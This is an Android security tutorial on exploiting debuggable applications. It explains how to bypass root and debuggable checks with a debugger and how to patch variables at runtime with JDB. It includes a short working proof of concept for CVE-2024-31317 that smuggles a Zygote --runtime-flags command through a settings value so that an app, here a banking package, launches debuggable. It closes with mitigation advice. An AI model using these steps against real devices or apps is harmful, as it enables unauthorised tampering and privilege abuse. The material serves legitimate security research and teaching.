Exploiting a Debuggable Application

Bypassing Root and Debuggable Checks

This section of the post is a summary from the post https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0^[1]

Steps to Make an Android App Debuggable and Bypass Checks

Making the App Debuggable

Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0^[1]

Decompile the APK:
- Utilize the APK-GUI tool for decompiling the APK.
- In the android-manifest file, insert android:debuggable="true" to enable debugging mode.
- Recompile, sign, and zipalign the modified application.
Install the Modified Application:
- Use the command: adb install <application_name>.
Retrieve the Package Name:
- Execute adb shell pm list packages -3 to list third-party applications and find the package name.
Set the App to Await Debugger Connection:
- Command: adb shell am set-debug-app -w <package_name>.
- Note: This command must be run each time before starting the application to ensure it waits for the debugger.
- For persistence, use adb shell am set-debug-app -w --persistent <package_name>.
- To remove all flags, use adb shell am clear-debug-app <package_name>.
Prepare for Debugging in Android Studio:
- Navigate in Android Studio to File -> Open Profile or APK.
- Open the recompiled APK.
Set Breakpoints in Key Java Files:
- Place breakpoints in MainActivity.java (specifically in the onCreate method), b.java, and ContextWrapper.java.

Bypassing Checks

The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks.

For the debuggable check:

Modify the flag tested by the app:
- In the debugger, locate this -> mLoadedApk -> mApplicationInfo -> flags.
- ApplicationInfo.FLAG_DEBUGGABLE is the 0x2 bit. To make an in-memory self-check observe a non-debuggable app while the debugger remains attached, clear only that bit (flags & ~0x2) instead of copying a device-specific decimal value.^[5]

These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application’s behavior.

For the decimal value shown in the original walkthrough, clearing bit 0x2 changes 814267974 to 814267972. Recompute the value from the live flags on your target rather than assuming the remaining bits are identical.

Exploiting a Vulnerability

A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays “Crack Me”. The aim is to alter the message from “Try Again” to “Hacked” at runtime, without modifying the source code.^[2]

Checking for Vulnerability

The application was decompiled using apktool to access the AndroidManifest.xml file.
The presence of android:debuggable="true" in AndroidManifest.xml indicates that the application permits debugger attachment. This expands local attack and analysis capabilities, although it is not by itself remote code execution.
It’s worth noting that apktool is employed solely to check the debuggable status without altering any code.

Preparing the Setup

The process involved initiating an emulator, installing the vulnerable application, and using adb jdwp to identify Dalvik VM ports that are listening.
The JDWP (Java Debug Wire Protocol) allows debugging of an application running in a VM by exposing a unique port.
Port forwarding was necessary for remote debugging, followed by attaching JDB to the target application.

Injecting Code at Runtime

The exploitation was carried out by setting breakpoints and controlling the application flow.
Commands like classes and methods <class_name> were used to uncover the application’s structure.
A breakpoint was set at the onClick method, and its execution was controlled.
The locals, next, and set commands were utilized to inspect and modify local variables, particularly changing the “Try Again” message to “Hacked”.
The modified code was executed using the run command, successfully altering the application’s output in real-time.

This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application’s context.

2024 - Turning Applications into Debuggable Processes (CVE-2024-31317)

Even if the target APK is not shipped with the android:debuggable flag, recent research showed that it is possible to force arbitrary applications to start with the DEBUG_ENABLE_JDWP runtime flag by abusing the way Zygote parses command-line arguments.^[3][4]

Vulnerability: Improper validation of --runtime-flags supplied through Zygote’s command socket allows an attacker that can reach system_server (for example via the privileged adb shell which owns the WRITE_SECURE_SETTINGS permission) to inject extra parameters. When the crafted command is replayed by system_server, the victim app is forked as debuggable and with a JDWP thread listening. The issue is tracked as CVE-2024-31317 and was fixed in the June 2024 Android Security Bulletin.
Impact: With the required privileged shell/WRITE_SECURE_SETTINGS capability, the researcher can start a target process with JDWP enabled, inspect its memory and execution, and act in that app’s context. Targets can include privileged apps such as com.android.settings, but concrete effects such as token theft, MDM bypass, or further privilege escalation depend on the selected process and its reachable functionality.^[3][4]
Affected versions: Android 9 through 14 prior to the June 2024 patch level.

Quick PoC

# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible without modifying the APK or the device boot image.

Detection & Mitigation

Patch to 2024-06-01 (or later) security level – Google hardened ZygoteCommandBuffer so that subsequent commands cannot be smuggled in this way.
Restrict WRITE_SECURE_SETTINGS / shell access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps.
On EMM/MDM-managed fleets, enforce ro.debuggable=0, disable or tightly control ADB, and prevent untrusted principals from obtaining WRITE_SECURE_SETTINGS. adb disable-verifier controls APK verification and is not a defense against this Zygote injection.